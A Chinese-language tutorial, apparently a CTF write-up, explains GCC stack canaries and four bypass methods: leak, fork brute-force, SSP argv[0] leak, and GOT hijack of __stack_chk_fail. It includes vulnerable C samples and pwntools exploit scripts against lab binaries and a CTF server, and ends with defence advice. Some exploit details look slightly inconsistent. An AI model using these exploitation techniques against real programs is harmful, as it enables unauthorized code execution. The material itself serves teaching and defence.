解析Canary保护机制与绕过策略
字数 1254 2025-08-23 18:31:08

Canary保护机制与绕过策略详解

一、Canary保护机制简介

Canary是一种防护栈溢出的保护机制,主要作用是在函数调用时插入类似于cookie的信息,当函数返回时验证该信息是否被修改,从而检测栈溢出攻击。

工作原理

  • 在函数入口处从fs/gs寄存器获取一个值(Canary)
  • 存储在栈上特定位置(32位:EBP-0x4;64位:RBP-0x8)
  • 函数结束时检查该值是否被修改
  • 如果被修改,调用___stack_chk_fail终止程序

GCC编译选项

  • -fstack-protector:为含数组的函数插入保护
  • -fstack-protector-all:为所有函数插入保护
  • -fstack-protector-strong:更智能的保护
  • -fstack-protector-explicit:只对有明确属性的函数保护
  • -fno-stack-protector:禁用保护

二、Canary技术细节

存储特点

  • 32位程序:4字节Canary
  • 64位程序:8字节Canary
  • \x00字节结尾(便于字符串截断)

内存布局

Canary位置不一定与EBP相邻,不同编译器可能有填充字节:

栈布局示例:
[局部变量][填充字节][Canary][EBP][返回地址]

三、Canary绕过技术

1. 泄露栈中的Canary

条件

  • 存在栈溢出漏洞
  • 可以将栈中的可控变量输出

原理

利用Canary以\x00结尾的特性,通过部分覆盖和输出函数泄露Canary值。

示例代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void getshell(void) {
    system("/bin/sh");
}

void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void vuln() {
    char buf[100];
    for(int i=0; i<2; i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}

int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

利用步骤

  1. 第一次输入填充缓冲区但不覆盖Canary
  2. 利用格式化字符串漏洞泄露Canary
  3. 第二次构造payload时包含正确的Canary值

EXP示例

from pwn import *

context(os='linux', arch='i386', log_level='debug')
p = process('./canary1')
e = ELF('./canary1')
get_shell = e.sym['getshell']

# 泄露Canary
p.recvuntil('Hello Hacker!')
payload = 'a'*100
p.sendline(payload)
p.recvuntil('a'*100)
canary = u32(p.recv(4)) - 0xa
log.info("Canary:" + hex(canary))

# 绕过Canary
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(get_shell)
p.sendline(payload)
p.interactive()

2. 爆破Canary

条件

  • 程序使用fork创建子进程
  • Canary在同一进程的不同线程中相同

原理

通过fork创建的子进程Canary与父进程相同,可以逐字节爆破。

示例代码

int fun() {
    char buf; // [sp+8h] [bp-70h]@1
    int v2; // [sp+6Ch] [bp-Ch]@1
    
    v2 = *MK_FP(__GS__, 20);
    read(0, &buf, 0x78u); //栈溢出漏洞
    return *MK_FP(__GS__, 20) ^ v2;
}

EXP示例

from pwn import *

context(os='linux', arch='i386', log_level='debug')
p = process('./bin1')
e = ELF('./bin1')

p.recvuntil('welcome\n')
canary = '\x00'

for i in range(3):
    for i in range(256):
        p.send('a'*100 + canary + chr(i))
        message = p.recvuntil('welcome\n')
        if 'recv' in message:
            canary += chr(i)
            break

getflag_addr = e.sym['getflag']
payload = 100*'a' + canary + 8*'a' + 4*'a' + p32(getflag_addr)
p.sendline(payload)
p.interactive()

3. SSP (Stack Smashing Protect) Leak

条件

  • glibc版本会输出argv[0]
  • 栈溢出长度足以覆盖argv[0]

原理

当Canary被改变时,__stack_chk_fail会输出argv[0]的内容,通过覆盖argv[0]为想要泄露的地址实现任意读。

EXP示例

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = remote('pwn.jarvisoj.com', 9877)
flag_addr = 0x400d21
payload = 'a'*0x218 + p64(flag_addr)
p.sendlineafter('your name? ', payload)
p.recv()
p.sendline()
p.interactive()

4. 劫持__stack_chk_fail函数

条件

  • 存在格式化字符串漏洞
  • RELRO未开启或为Partial

原理

通过格式化字符串漏洞修改__stack_chk_fail的GOT表项,使其指向后门函数。

EXP示例

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./bin3')
e = ELF('./bin3')

system_addr = 0x40084e
stack_chk_fail_got_addr = e.got['__stack_chk_fail']

payload = 'a'*5 + '%' + str(system_addr & 0xffff - 5) + 'c%8$hn' + p64(stack_chk_fail_got_addr) + 'a'*100
p.sendlineafter("It's easy to PWN", payload)
p.interactive()

四、防御建议

  1. 使用最新版本的glibc(修复SSP leak等问题)
  2. 开启Full RELRO防止GOT表修改
  3. 结合ASLR和PIE增加利用难度
  4. 使用-fstack-protector-strong提供更强的保护

五、总结

Canary机制虽然能有效防御简单的栈溢出攻击,但通过泄露、爆破、SSP leak和GOT劫持等方法仍可能被绕过。在实际应用中,应结合多种防护机制构建纵深防御体系。

Canary保护机制与绕过策略详解 一、Canary保护机制简介 Canary是一种防护栈溢出的保护机制,主要作用是在函数调用时插入类似于cookie的信息,当函数返回时验证该信息是否被修改,从而检测栈溢出攻击。 工作原理 在函数入口处从fs/gs寄存器获取一个值(Canary) 存储在栈上特定位置(32位:EBP-0x4;64位:RBP-0x8) 函数结束时检查该值是否被修改 如果被修改,调用 ___stack_chk_fail 终止程序 GCC编译选项 -fstack-protector :为含数组的函数插入保护 -fstack-protector-all :为所有函数插入保护 -fstack-protector-strong :更智能的保护 -fstack-protector-explicit :只对有明确属性的函数保护 -fno-stack-protector :禁用保护 二、Canary技术细节 存储特点 32位程序:4字节Canary 64位程序:8字节Canary 以 \x00 字节结尾(便于字符串截断) 内存布局 Canary位置不一定与EBP相邻,不同编译器可能有填充字节: 三、Canary绕过技术 1. 泄露栈中的Canary 条件 存在栈溢出漏洞 可以将栈中的可控变量输出 原理 利用Canary以 \x00 结尾的特性,通过部分覆盖和输出函数泄露Canary值。 示例代码 利用步骤 第一次输入填充缓冲区但不覆盖Canary 利用格式化字符串漏洞泄露Canary 第二次构造payload时包含正确的Canary值 EXP示例 2. 爆破Canary 条件 程序使用fork创建子进程 Canary在同一进程的不同线程中相同 原理 通过fork创建的子进程Canary与父进程相同,可以逐字节爆破。 示例代码 EXP示例 3. SSP (Stack Smashing Protect) Leak 条件 glibc版本会输出argv[ 0 ] 栈溢出长度足以覆盖argv[ 0 ] 原理 当Canary被改变时, __stack_chk_fail 会输出argv[ 0]的内容,通过覆盖argv[ 0 ]为想要泄露的地址实现任意读。 EXP示例 4. 劫持__ stack_ chk_ fail函数 条件 存在格式化字符串漏洞 RELRO未开启或为Partial 原理 通过格式化字符串漏洞修改 __stack_chk_fail 的GOT表项,使其指向后门函数。 EXP示例 四、防御建议 使用最新版本的glibc(修复SSP leak等问题) 开启Full RELRO防止GOT表修改 结合ASLR和PIE增加利用难度 使用 -fstack-protector-strong 提供更强的保护 五、总结 Canary机制虽然能有效防御简单的栈溢出攻击,但通过泄露、爆破、SSP leak和GOT劫持等方法仍可能被绕过。在实际应用中,应结合多种防护机制构建纵深防御体系。